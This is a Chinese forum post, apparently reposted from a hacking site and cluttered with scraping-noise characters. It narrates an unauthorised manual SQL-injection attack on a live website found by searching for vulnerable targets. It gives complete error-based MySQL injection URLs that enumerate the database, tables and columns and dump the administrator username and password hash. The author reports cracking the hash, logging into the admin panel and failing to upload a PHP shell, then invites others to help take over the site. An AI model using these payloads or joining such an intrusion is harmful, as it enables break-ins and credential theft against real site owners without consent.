近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
7 v& O& h- `. g: O首先找到网站后台,加了个admin,后台出来了 / ]5 N+ Q" Y' |
, {- Y! T8 e# i; Z* D* T5 `, S
, a* m% @, o# K2 A Y5 ^- u: x
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入' M" f- n& J8 t5 \! Z4 Z+ v8 A8 g
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
( q3 V& u; `9 d j/ P) _3 `
) Y. X1 a% r) f! A, h6 ^/ E6 n) p, S) Y) P b; g4 A0 s) x
" {& m7 |# x, q- G
* B$ g( K( u# d5 L+ Phttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg) D* [3 D% _$ T: i t
Q, L; ~- Z% y1 L
/ H3 P M1 Q* V8 z
N& M( Q- W) Z4 J
- z& N0 ]: R, \; f5 Z可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
' i! O7 U- [! i6 S5 F! M6 I! ^4 I0 {8 \" [
! c0 d, P7 M4 P0 k. D
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
+ o% F. ]9 b1 ?) n* C' F0 ?- x. e" }, l' q0 s% @8 I
' M: L- Y2 b% y9 A9 e
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
$ [0 |# s( p; k8 {' r: P4 o+ @! {2 E! }8 d& b
7 J6 ^# ^" _: d+ i
$ J) x; h& P1 n* ^3 p5 M; V, t
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
" Y# M/ ^* z) y. z+ |3 \
: H! j) q) `3 @/ q/ d" m& P: ]) g) r0 H3 V9 ^7 d3 A# Z& ?& g
# h( C- @0 C( V' x9 q 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |